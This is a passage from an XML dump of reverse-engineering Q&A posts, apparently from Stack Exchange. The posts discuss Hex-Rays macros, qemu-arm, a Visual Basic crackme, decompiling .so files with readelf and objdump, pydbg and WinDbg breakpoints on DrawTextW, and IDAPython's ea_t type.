UPX&lt;/li&gt;&#xA;&lt;li&gt;Now, try manually decompress your program from the compressed one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-08-18T07:35:20.393" LastActivityDate="2013-08-18T07:35:20.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2657" PostTypeId="1" AcceptedAnswerId="2659" CreationDate="2013-08-18T10:05:41.350" Score="9" ViewCount="5729" Body="&lt;p&gt;I've got a program that i'm trying to debug a little bit by trying to make sense of a function or two, there's already some info that i've downloaded via a idb file and it's helped me get somewhere. But i'm kind of stuck on a part where i've got something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BYTE3(v1) = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is from the ida hex-rays plugin which has made some nice c-pseudo code for me. I can't double click the function and get it translated in some way so i don't really know how to understand what it does, my guess is that it takes either the third or fourth byte of an int. So my question is, how would i be able to find this function and look at it's disassembly at least if it can't be translated by hex-rays? The signature if that helps at all looks like this according to ida: &lt;code&gt;_BYTE __fastcall(int)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1612" LastActivityDate="2018-06-12T21:21:41.043" Title="BYTE3, does it mean the third or fourth byte of an int? IDB file that's already supplied" Tags="|disassembly|ida|c|c++|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2658" PostTypeId="2" ParentId="2652" CreationDate="2013-08-18T22:16:52.843" Score="3" Body="&lt;p&gt;At a &lt;em&gt;very&lt;/em&gt; high level...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reverse engineering typically focuses on recovering the functional specifications of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Digital forensics typically focuses on recovering data.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-08-18T22:16:52.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2659" PostTypeId="2" ParentId="2657" CreationDate="2013-08-18T22:27:31.690" Score="15" Body="&lt;p&gt;All Hex-Rays macros are defined in &lt;strong&gt;&amp;lt;IDA directory&amp;gt;\plugins\defs.h&lt;/strong&gt;. It's also available at &lt;a href=&quot;https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;BYTE3(x)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;#define BYTEn(x, n)   (*((_BYTE*)&amp;amp;(x)+n))&#xA;...&#xA;#define BYTE3(x)   BYTEn(x,  3)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;BYTE3(x)&lt;/code&gt; yields &lt;code&gt;(*((_BYTE*)&amp;amp;(x)+3))&lt;/code&gt;, which effectively means the fourth byte of the value &lt;code&gt;x&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="24675" LastEditDate="2018-06-12T21:21:41.043" LastActivityDate="2018-06-12T21:21:41.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2660" PostTypeId="2" ParentId="2655" CreationDate="2013-08-19T11:31:33.867" Score="7" Body="&lt;p&gt;It sounds like you are trying to emulate an ARM ELF binary by running it directly in qemu-system-arm, in which case the reason that syscalls don't work is that there is no Linux kernel to handle these syscalls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are probably looking for is qemu-arm, which runs the ARM binary as a normal ELF, translating ARM syscalls to your underlying Intel kernel. The qemu-arm emulator has a built-in GDB server that IDA can connect to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can get an ARM Linux system (such as Debian, or maybe there's a raspi release designed to run in Qemu?) running in qemu-system-arm, at which point you can just copy your ELF binary to the Qemu VM and run it there. You can then attach IDA to the running process using GDB server or the Linux ARM debugging stub included with IDA.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2013-08-19T11:31:33.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2662" PostTypeId="1" AcceptedAnswerId="2667" CreationDate="2013-08-21T03:25:13.687" Score="2" ViewCount="1205" Body="&lt;p&gt;I'm reverse engineering a Visual Basic application and I've run into a big of a sticky situation, so I was hoping that someone might have an opinion on a way to approach it. It's basically a crackme but I haven't been able to nail down where the callback code is for the function I'm looking for. I've found the labels and captions but I was hoping for an intelligent way to start looking at the binary instead of crawling through it from top to bottom until I find the right comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've taken a look at the output of VB Decompiler but the output isn't matching up to what I'm used to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i31.photobucket.com/albums/c367/Fewmitz/decomp_zpsc874945f.png&quot; alt=&quot;here&amp;#39;s the output from VB Decompiler&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other VB apps it seems like the locations given there is enough to get started and find the callbacks, but not with this one: &lt;img src=&quot;https://i31.photobucket.com/albums/c367/Fewmitz/nocodes_zpsc79f980d.png&quot; alt=&quot;this is what I get when trying to find any of the actual code&quot;&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought at first the code was just being rendered poorly in the debugger but after playing around with it I don't think that location is correct at all. So I'm looking for ideas on where to go from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:49.497" LastActivityDate="2013-08-21T10:38:50.357" Title="Complications reverse engineering a Visual Basic application" Tags="|crackme|visual-basic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2664" PostTypeId="1" AcceptedAnswerId="2672" CreationDate="2013-08-21T08:12:37.187" Score="15" ViewCount="67698" Body="&lt;p&gt;I would like to decompile the Linux &lt;code&gt;.so&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any tool to decompile &lt;code&gt;.so&lt;/code&gt; files in MS-Windows based operating system ?&lt;/li&gt;&#xA;&lt;li&gt;Any tools/methods to decompile &lt;code&gt;.so&lt;/code&gt; files ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1581" LastEditorUserId="53" LastEditDate="2013-08-22T13:51:49.283" LastActivityDate="2014-07-24T10:15:53.227" Title="How to decompile Linux .so library files from a MS-Windows OS?" Tags="|tools|decompilation|decompile|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2665" PostTypeId="2" ParentId="2664" CreationDate="2013-08-21T08:38:13.347" Score="6" Body="&lt;p&gt;Linux shared object files are ELFs too! Any decompiler that works on &quot;regular&quot; ELF files will work for SO files too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you can use IDA Pro to disassemble them as usual. If you have IDA Pro licence with Hex-rays decompiler, you can use that. If you don't have Hex-rays, you can try &lt;a href=&quot;https://github.com/EiNSTeiN-/ida-decompiler&quot; rel=&quot;nofollow&quot;&gt;ida-decompiler&lt;/a&gt; plugin to get some results. It's open source, but is far less advanced than Hex-rays. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The distinction between disassembling and decompiling is that disassembling the binary code will give you the assembly equivalent. Decompiling on the other hand implies the process of converting the raw assembly code into a higher level language (in this case C).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompiling assembly code is not an easy task, as many abstractions that higher level code has are lost on the assembly level.  Recovering those abstractions is the difficult part.&lt;br&gt;&#xA;For example, you usually lose variable names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, decompiling some bytecode into a higher language, like java bytecode to java, is somewhat easier because many of these abstractions are preserved in the bytecode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automatic decompilation of assembly code with current tools isn't perfect, it's meant to serve as a helper in revering. You can also manualy decompile assembly code to higher language by recognizing code constructs (like for loops, if statements, switches and similar). &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="60" LastEditDate="2014-07-24T10:15:53.227" LastActivityDate="2014-07-24T10:15:53.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2666" PostTypeId="2" ParentId="2622" CreationDate="2013-08-21T09:17:00.887" Score="2" Body="&lt;p&gt;This code doesn't do anything with command line arguments as far as i can see. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it does is setup the stack and align it. And calls _&lt;em&gt;alloca and _&lt;/em&gt;_main (if i had to guess, i'd say this is related to c++). Then exits returning 0. This code is very similar to &lt;a href=&quot;https://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax#.22hello.s.22_line-by-line&quot; rel=&quot;nofollow&quot;&gt;hello.S&lt;/a&gt; example on wikibooks, and it has a detailed explanation of what is going on. &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2013-08-21T09:24:50.700" LastActivityDate="2013-08-21T09:24:50.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2667" PostTypeId="2" ParentId="2662" CreationDate="2013-08-21T10:38:50.357" Score="3" Body="&lt;p&gt;This is probably P-code compiled file, not native code. Try WKT Debugger:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Whiskey_Kon_Tequilla_VB_P-Code_Debugger&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/collaborative/tools/index.php/Whiskey_Kon_Tequilla_VB_P-Code_Debugger&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-08-21T10:38:50.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2668" PostTypeId="1" AcceptedAnswerId="2669" CreationDate="2013-08-21T17:42:30.590" Score="4" ViewCount="221" Body="&lt;p&gt;Using &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;APIMonitor&lt;/a&gt; from Rohitab I found that DrawTextA has some additional arguments I would like to log using Python and &lt;a href=&quot;https://github.com/OpenRCE/pydbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pydbg&lt;/a&gt; (I'm currently logging lpchText, se below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wBbN6.png&quot; alt=&quot;DrawTextA&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current hooking code looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def DrawTextHook(dbg, args):&#xA;   # Log lpchText&#xA;   text = dbg.get_ascii_string(incremental_read(dbg, args[1], 255))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The argument I would like to log is &lt;strong&gt;lpRect&lt;/strong&gt; and &lt;strong&gt;uFormat&lt;/strong&gt;. How do I extend my currrent code to log these two arguments?&lt;/p&gt;&#xA;" OwnerUserId="1741" LastEditorUserId="1741" LastEditDate="2013-08-21T19:50:09.333" LastActivityDate="2013-08-22T08:08:16.493" Title="Logging lpRect and uFormat from DrawTextA" Tags="|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2669" PostTypeId="2" ParentId="2668" CreationDate="2013-08-22T07:41:29.453" Score="2" Body="&lt;p&gt;if you &lt;code&gt;really&lt;/code&gt; ask me i will say &lt;code&gt;dump pydbg&lt;/code&gt; and start using &lt;code&gt;logged ollydbg conditional break points&lt;/code&gt; it will give you the function's arguments cleanly formatted into its components or even windbg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you asked pydbg here is how you can do it in pydbg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pydbg import *&#xA;from pydbg.defines import *&#xA;&#xA;def handler_breakpoint (pydbg):   &#xA;   if pydbg.first_breakpoint:&#xA;    return DBG_CONTINUE&#xA;&#xA;   arg1 =   dbg.get_arg(1,dbg.context)&#xA;   arg2 =   dbg.get_arg(2,dbg.context)&#xA;   arg3 =   dbg.get_arg(3,dbg.context)&#xA;   arg4 =   dbg.get_arg(4,dbg.context)&#xA;   arg5 =   dbg.get_arg(5,dbg.context)&#xA;   text =   dbg.read_process_memory(arg2,0x20)&#xA;   lprect = dbg.read_process_memory(arg4,0x10)&#xA;&#xA;   print &quot;hDc = %08x\nText = %08x %s\nCount = %08x\nlpRect = %08x %s\nuFormat = %08x\n&quot; % (arg1,arg2,pydbg.get_unicode_string(text),arg3,arg4,lprect,arg5)&#xA;   return DBG_CONTINUE&#xA;&#xA;dbg = pydbg()&#xA;dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)&#xA;dbg.attach(2708)&#xA;DrawTextW = dbg.func_resolve(&quot;user32&quot;, &quot;DrawTextW&quot;)&#xA;dbg.bp_set(DrawTextW)&#xA;pydbg.debug_event_loop(dbg)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and an output for calc.exe (uses DrawTextW not A)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\Python27\Lib\site-packages&gt;python calc.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hDc = 48010f0d&#xA;Text = 000b85fe Sta&#xA;Count = ffffffff&#xA;lpRect = 0007fa7c         $   ↔&#xA;uFormat = 00000025&#xA;&#xA;hDc = 4b010f0d&#xA;Text = 000b85fe Sta&#xA;Count = ffffffff&#xA;lpRect = 0007fa7c         $   ↔&#xA;uFormat = 00000025&#xA;&#xA;hDc = 6c010ea9&#xA;Text = 000b8668 tan&#xA;Count = ffffffff&#xA;lpRect = 0007fa7c         $   ↔&#xA;uFormat = 00000025&#xA;&#xA;hDc = 79010ea9&#xA;Text = 000b8668 tan&#xA;Count = ffffffff&#xA;lpRect = 0007fa7c         $   ↔&#xA;uFormat = 00000025&#xA;&#xA;hDc = 7c010f0d&#xA;Text = 000b8688 x^2&#xA;Count = ffffffff&#xA;lpRect = 0007fa7c         $   ↔&#xA;uFormat = 00000025&#xA;&#xA;hDc = 8e010f0d&#xA;Text = 000b8688 x^2&#xA;Count = ffffffff&#xA;lpRect = 0007fa7c         $   ↔&#xA;uFormat = 00000025&#xA;&#xA;hDc = ab010ea9&#xA;Text = 000b869e 1/x&#xA;Count = ffffffff&#xA;lpRect = 0007fa7c         $   ↔&#xA;uFormat = 00000025&#xA;&#xA;hDc = bf010ea9&#xA;Text = 000b869e 1/x&#xA;Count = ffffffff&#xA;lpRect = 0007fa7c         $   ↔&#xA;uFormat = 00000025&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to change to ollydbg &lt;/p&gt;&#xA;&#xA;&lt;p&gt;c:&gt; ollydbg.exe calc.exe&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alt+e -&amp;gt; select calc.exe -&amp;gt; ctrl+N -&amp;gt;Start typing Draw-&amp;gt;select and rightclick -&amp;gt;follow import in disassembler -&amp;gt;shift + f4-&amp;gt; enable radio log function arguments to always &#xA;leave all else to default and hit ok and f9 to run the exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ollydbg will log all the arguments (you can selectively log only args you want also)&#xA;like  log only if hDc = XXX and Text == X^2 and Uformat != y &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a sample output from ollydbg running calc.ex and loggging function arguments to DrawTextW&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7E42D7E2   CALL to DrawTextW from calc.010061F1&#xA;             hDC = DA011041&#xA;             Text = &quot;Sta&quot;&#xA;             Count = FFFFFFFF (-1.)&#xA;             pRect = 0007FA28 {0.,0.,36.,29.}&#xA;             Flags = DT_CENTER|DT_VCENTER|DT_SINGLELINE&#xA;7E42D7E2   CALL to DrawTextW from calc.010061F1&#xA;             hDC = DB010B34&#xA;             Text = &quot;Ave&quot;&#xA;             Count = FFFFFFFF (-1.)&#xA;             pRect = 0007FA28 {0.,0.,36.,29.}&#xA;             Flags = DT_CENTER|DT_VCENTER|DT_SINGLELINE&#xA;7E42D7E2   CALL to DrawTextW from calc.010061F1&#xA;             hDC = A0010D69&#xA;             Text = &quot;Sum&quot;&#xA;             Count = FFFFFFFF (-1.)&#xA;             pRect = 0007FA28 {0.,0.,36.,29.}&#xA;             Flags = DT_CENTER|DT_VCENTER|DT_SINGLELINE&#xA;7E42D7E2   CALL to DrawTextW from calc.010061F1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With windbg do this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp USER32!DrawTextW &quot;.printf \&quot;Text=%mu\\nRect.L=%x\\nRect.R=%x\\n\&quot;,poi(esp+8),poi(poi(esp+10)+8),poi(poi(esp+10)+c);gc&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;windbg conditinal bp output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:001&amp;gt; g&#xA;Text=F-E&#xA;Rect.L=24&#xA;Rect.R=1d&#xA;Text=dms&#xA;Rect.L=24&#xA;Rect.R=1d&#xA;Text=sin&#xA;Rect.L=24&#xA;Rect.R=1d&#xA;Text=cos&#xA;Rect.L=24&#xA;Rect.R=1d&#xA;Text=tan&#xA;Rect.L=24&#xA;Rect.R=1d&#xA;Text=(&#xA;Rect.L=24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2013-08-22T08:08:16.493" LastActivityDate="2013-08-22T08:08:16.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2670" PostTypeId="1" CreationDate="2013-08-22T10:16:34.227" Score="4" ViewCount="4395" Body="&lt;p&gt;In IDAPython, what is the &lt;code&gt;ea_t&lt;/code&gt; data type? It is used in the &lt;code&gt;set_debug_name()&lt;/code&gt; function as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool set_debug_name(ea, name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I have a 64-bits address, can it be represented by the &lt;code&gt;ea_t&lt;/code&gt; data type ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in this Python script:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;line = &quot;ffffffff81000000 T startup_64&quot;&#xA;addr = int(line[:16],16)&#xA;name = line[19:]&#xA;idaapi.set_debug_name(addr,name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I receive this error while executing the IDA Python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: Expected an ea_t type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt; from idaapi import *&#xA;Python&amp;gt; line=&quot;ffffffff81000000 T startup_64&quot;&#xA;Python&amp;gt; addr=int(line[:16],16)&#xA;Python&amp;gt; name=line[19:]&#xA;Python&amp;gt; print &quot;addr: %x&quot; %(addr)&#xA;addr: ffffffff81000000&#xA;Python&amp;gt; print name&#xA;startup_64&#xA;Python&amp;gt; set_debug_name(addr,name)&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;string&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;X\IDA Pro\IDA61\python\idaapi.py&quot;, line 23612, in set_debug_name&#xA;    return _idaapi.set_debug_name(*args)&#xA;TypeError: Expected an ea_t type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are the &lt;code&gt;idaapi.py&lt;/code&gt; files different for 32-bits and 64-bits IDA Pro versions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a 32-bits version of IDAPro.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="53" LastEditDate="2013-08-22T12:36:56.653" LastActivityDate="2013-08-22T14:31:04.607" Title="ea_t datatype in IDA API" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2671" PostTypeId="2" ParentId="2670" CreationDate="2013-08-22T10:42:06.743" Score="3" Body="&lt;p&gt;From pro.h:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ifdef __EA64__&#xA;  typedef uint64 ea_t;      // effective address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes also in python it can represent a 64-bit address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;32-bit and 64-bit files are the same (they're is only 1 file)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following very basic script works fine for me on notepad.exe using 64-bit IDA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;from idaapi import *&#xA;Python&amp;gt;ea = 0x0000000100003590L&#xA;Python&amp;gt;hex(get_byte(ea))&#xA;0x48&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-edit-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated to show your script working in 32-bit IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;print sys.version&#xA;2.7.3 (default, Apr 10 2012, 23:31:26) [MSC v.1500 32 bit (Intel)]&#xA;Python&amp;gt;line=&quot;ffffffff81000000 T startup_64&quot;&#xA;Python&amp;gt;addr=int(line[:16],16)&#xA;Python&amp;gt;type(addr)&#xA;&amp;lt;type 'long'&amp;gt;&#xA;Python&amp;gt;set_debug_name(addr,&quot;bla&quot;)&#xA;True&#xA;Python&amp;gt;name=line[19:]&#xA;Python&amp;gt;set_debug_name(addr,name)&#xA;True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Did you try updating your idapython with a 'newer' version from Google code? &lt;a href=&quot;http://code.google.com/p/idapython/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/idapython/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2013-08-22T14:31:04.607" LastActivityDate="2013-08-22T14:31:04.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2672" PostTypeId="2" ParentId="2664" CreationDate="2013-08-22T14:34:11.820" Score="19" Body="&lt;p&gt;As 0xea said, the &lt;code&gt;.so&lt;/code&gt; file are just regular executable files but packed in a dynamic library style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that you asked specifically about MS-Windows tools, but I will ignore this as 0xea already replied about that. I will try to explain how to do it with UNIX tools.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Extract the functions from the library&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A first step will be to extract the name of all the functions that are present in this library to know what it is looking like. I will use &lt;code&gt;/usr/lib/libao.so.4.0.0&lt;/code&gt; (a random library I took on my system which is small enough to be taken as an example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, run &lt;code&gt;readelf&lt;/code&gt; on it to see a bit what you are on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; readelf -a /usr/lib/libao.so.4.0.0&#xA;&#xA;ELF Header:&#xA;Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 &#xA;Class:                             ELF64&#xA;Data:                              2's complement, little endian&#xA;Version:                           1 (current)&#xA;OS/ABI:                            UNIX - System V&#xA;ABI Version:                       0&#xA;Type:                              DYN (Shared object file)&#xA;Machine:                           Advanced Micro Devices X86-64&#xA;Version:                           0x1&#xA;Entry point address:               0x1fb0&#xA;Start of program headers:          64 (bytes into file)&#xA;Start of section headers:          35392 (bytes into file)&#xA;Flags:                             0x0&#xA;Size of this header:               64 (bytes)&#xA;Size of program headers:           56 (bytes)&#xA;Number of program headers:         6&#xA;Size of section headers:           64 (bytes)&#xA;Number of section headers:         29&#xA;Section header string table index: 28&#xA;&#xA;[...lots of tables and other information...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may notice that &lt;code&gt;readelf&lt;/code&gt; detected an entrypoint. In fact, it does correspond to the procedure in charge of initializing the memory to get the library properly loaded. But, it is of no use for us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the rest of the output of &lt;code&gt;readelf -a&lt;/code&gt;, the dynamic symbol table (&lt;code&gt;.dynsym&lt;/code&gt;) is quite informative because it contains entries like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;43: 00000000000038e0  1302 FUNC    GLOBAL DEFAULT   13 ao_play@@LIBAO4_1.1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact, every function from this dynamic library is in this list and you can extract it simply like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; readelf -a /usr/lib/libao.so.4.0.0 | grep LIBAO4_1.1.0 | grep FUNC&#xA;&#xA;43: 00000000000038e0  1302 FUNC    GLOBAL DEFAULT   13 ao_play@@LIBAO4_1.1.0&#xA;44: 0000000000003670   177 FUNC    GLOBAL DEFAULT   13 ao_append_option@@LIBAO4_1.1.0&#xA;45: 00000000000040e0    70 FUNC    GLOBAL DEFAULT   13 ao_driver_info@@LIBAO4_1.1.0&#xA;46: 0000000000002d40  2349 FUNC    GLOBAL DEFAULT   13 ao_initialize@@LIBAO4_1.1.0&#xA;48: 0000000000003ef0   484 FUNC    GLOBAL DEFAULT   13 ao_default_driver_id@@LIBAO4_1.1.0&#xA;49: 0000000000003e00   144 FUNC    GLOBAL DEFAULT   13 ao_close@@LIBAO4_1.1.0&#xA;50: 0000000000005070   239 FUNC    GLOBAL DEFAULT   13 ao_open_file@@LIBAO4_1.1.0&#xA;51: 0000000000005160     7 FUNC    GLOBAL DEFAULT   13 ao_open_live@@LIBAO4_1.1.0&#xA;52: 0000000000003730    18 FUNC    GLOBAL DEFAULT   13 ao_append_global_option@@LIBAO4_1.1.0&#xA;53: 0000000000003790   326 FUNC    GLOBAL DEFAULT   13 ao_shutdown@@LIBAO4_1.1.0&#xA;54: 0000000000004130    16 FUNC    GLOBAL DEFAULT   13 ao_driver_info_list@@LIBAO4_1.1.0&#xA;55: 0000000000003750    60 FUNC    GLOBAL DEFAULT   13 ao_free_options@@LIBAO4_1.1.0&#xA;56: 0000000000004140    13 FUNC    GLOBAL DEFAULT   13 ao_is_big_endian@@LIBAO4_1.1.0&#xA;57: 0000000000003e90    92 FUNC    GLOBAL DEFAULT   13 ao_driver_id@@LIBAO4_1.1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you get here, is the names of the functions which are in the &lt;code&gt;.so&lt;/code&gt; plus the address of their code in the memory (first column).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also get this information by using &lt;code&gt;objdump&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; objdump -T /usr/lib/libao.so.4.0.0 | grep LIBAO4_1.1.0 | grep DF&#xA;00000000000038e0 g    DF .text  0000000000000516  LIBAO4_1.1.0 ao_play&#xA;0000000000003670 g    DF .text  00000000000000b1  LIBAO4_1.1.0 ao_append_option&#xA;00000000000040e0 g    DF .text  0000000000000046  LIBAO4_1.1.0 ao_driver_info&#xA;0000000000002d40 g    DF .text  000000000000092d  LIBAO4_1.1.0 ao_initialize&#xA;0000000000003ef0 g    DF .text  00000000000001e4  LIBAO4_1.1.0 ao_default_driver_id&#xA;0000000000003e00 g    DF .text  0000000000000090  LIBAO4_1.1.0 ao_close&#xA;0000000000005070 g    DF .text  00000000000000ef  LIBAO4_1.1.0 ao_open_file&#xA;0000000000005160 g    DF .text  0000000000000007  LIBAO4_1.1.0 ao_open_live&#xA;0000000000003730 g    DF .text  0000000000000012  LIBAO4_1.1.0 ao_append_global_option&#xA;0000000000003790 g    DF .text  0000000000000146  LIBAO4_1.1.0 ao_shutdown&#xA;0000000000004130 g    DF .text  0000000000000010  LIBAO4_1.1.0 ao_driver_info_list&#xA;0000000000003750 g    DF .text  000000000000003c  LIBAO4_1.1.0 ao_free_options&#xA;0000000000004140 g    DF .text  000000000000000d  LIBAO4_1.1.0 ao_is_big_endian&#xA;0000000000003e90 g    DF .text  000000000000005c  LIBAO4_1.1.0 ao_driver_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Disassemble each function&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is time now to use &lt;code&gt;objdump&lt;/code&gt; (or a more advanced disassembler if you can get one). Given the list of functions and their address in the binary, you can simply run &lt;code&gt;objdump&lt;/code&gt; for each function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -d /usr/lib/libao.so.4.0.0 --start-address=0x3730&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that, as &lt;code&gt;objdump&lt;/code&gt; use linear sweep, the disassembly may not be exact (see the following example) and, you also will have to decide by yourself when it 